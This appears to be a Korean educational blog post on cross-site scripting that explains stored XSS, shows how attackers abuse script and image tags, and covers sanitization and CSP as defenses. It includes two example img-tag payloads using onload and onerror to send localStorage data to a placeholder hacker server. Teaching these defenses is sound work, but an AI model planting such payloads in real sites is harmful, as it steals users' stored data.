XSS ( Cross-site scripting ) ( 1 )

XSS의 이해, 방어에 관해 고민해본 글 입니다.

대부분 사이트에서 작동하지 않겠지만, 학습 목적으로 작성한 글이기에 악용시 책임은 코드를 사용한 공격자에게 있습니다.

브라우저는 script 태그를 만나면 자동으로 이를 실행 합니다.

예를들어 특정 게시글에 <script>alert("hello")</script> 스크립트가 쓰여있다고 가정 해보겠습니다.

그럼 브라우저는 해당 태그를 읽고 알림창을 띄웁니다.

그럼 태그 전체를 문자열로 처리하면 되지 않느냐? 할 수 있는데

"<script>alert("hello")</script>"

이런 방식을 생각 했다면 이는 화면에 "" 를 표시하고 스크립트를 실행하는 것으로 해석됩니다.

 

자바스크립트 파일에서 변수에 문자열 할당하듯 처리한다고 되는 것이 아니기에,

어떤 형태로든 완성된 태그가 중간에 있으면 브라우저는 해당 태그를 해석 합니다.

이러한 특성을 악용한 공격이 XSS 입니다.

 

시나리오

1. XSS 방어가 되어있지 않은 웹에 글을 작성함 
2. 웹 서버는 입력창에 쓰여진 script 태그, 글 등을  DB에 저장함
3. 해당 글을 조회하면 script태그, 글 등이 내려옴
4. 브라우저는 태그를 만났으니 이를 해석함
5. 스크립트 태그 내부의 코드가 실행됨

이때 내부 코드가 단순히 알림을 띄우는 정도라면 별 문제가 없겠지만, 정보를 취득하여 해킹에 이용될 수도 있습니다.

 

취약점이 악용되는 형태

사실 처음엔 해당 취약점이 왜 악용되는건지 한번에 이해하기가 어려웠습니다.

어차피 사용자의 브라우저 안에서 일어나는 일인데 이게 어떤식으로 악용되는거지? 라는 생각이 들었습니다.

 

크게 2가지 형태로 악용됩니다.

---

스크립트 삽입

1. 해커의 서버로 요청을 보내는 스크립트를 삽입
2. 사용자가 해당 게시글을 클릭
3. 삽입된 스크립트가 정보를 수집
4. 해커의 서버로 요청이 날아감
5. 해커는 요청을 받고 적절히 처리

해커의 서버로 요청을 보내 해커는 사용자들의 개인정보를 수집 할 수 있고 이 정보를 악용할 수 있습니다.

하지만 이러한 방식은 스크립트 태그가 노출되기 때문에 해커들은 조금 더 발전 합니다.

---

이미지 태그 활용

이미 태그에 대해 보안 대응이 되어있지 않기에 스크립트가 통하는거면 사실상 태그를 활용한 방식이 거의 다 가능한 상태입니다.

주요 사용 예는 아래와 같습니다.

• 이미지 태그의 GET요청을 활용
• 이미지 로드 에러를 활용

<img src="해커의서버?data=" onload="this.src += localStorage.getItem('data')">
<img src="invalid-image.jpg" onerror="this.src='해커의서버.com?data=' + encodeURIComponent(localStorage.getItem('data'))">

 

 

첫번째 예재는 

이미지 태그의 특성을 활용한 방법 입니다.

이미지 태그는 src에 기록된 url로 GET 요청을 보내는데, 특정 버튼 트리거나 별도의 스크립트 없이 자연스러운 동작입니다.

 

해커는 이러한 점을 악용하여 해커의 서버 url을 여기에 입력 해둡니다.

이때 onload를 활용해 html 요소를 가리키고 src 태그에 민감정보를 더해서 보내는 형태 입니다.

 

이미지를 활용한 방식은 사용자에게 보이지 않게 크기를 줄여 화면 구석에 배치하는 모습을 보입니다.

 

 

두번째 예재는

이미지를 불러오지 못한 경우를 악용한 사례 입니다.

img태그는 이미지를 불러오지 못하면 onerror 핸들러에서 이를 감지할 수 있는데, 이 점을 악용한 예 입니다.

 

구체적인 방식은 첫번째 방식과 크게 다르지 않습니다.

현재 태그의 src를 조작하는 형태이고, 여러가지 보안 우회 방법 중 하나입니다.

 

 

방어

공격방식이 한두가지가 아니기 때문에 방어하는 로직도 천차만별 입니다.

그래도 대부분 아래 범주에 들어갈 것 같습니다.

• Sanitization
• CSP

 

Santization

사용자 입력을 검증하고, 해로울 수 있는 문자(예: <, >, &, " 등)를 안전한 형식으로 변환합니다.

흔히 이스케이핑 한다고 합니다. 실제 태그를 이스케이핑 하였다면 해당 값을 문자열로 보이도록 하는 형태 입니다.

 

CSP

임의 사용자가 인라인 스크립트나, css를 넣지 못하도록 하는 정책입니다.

 

 

이미지 태그를 활용하는 방식만 해도 조금씩 다른 수법이 수십개는 되는 것 같습니다.

프레임워크 혹은 라이브러리에서 적절하게 처리해주는 부분의 도움을 받되 경각심을 가지고 있는게 좋아보입니다.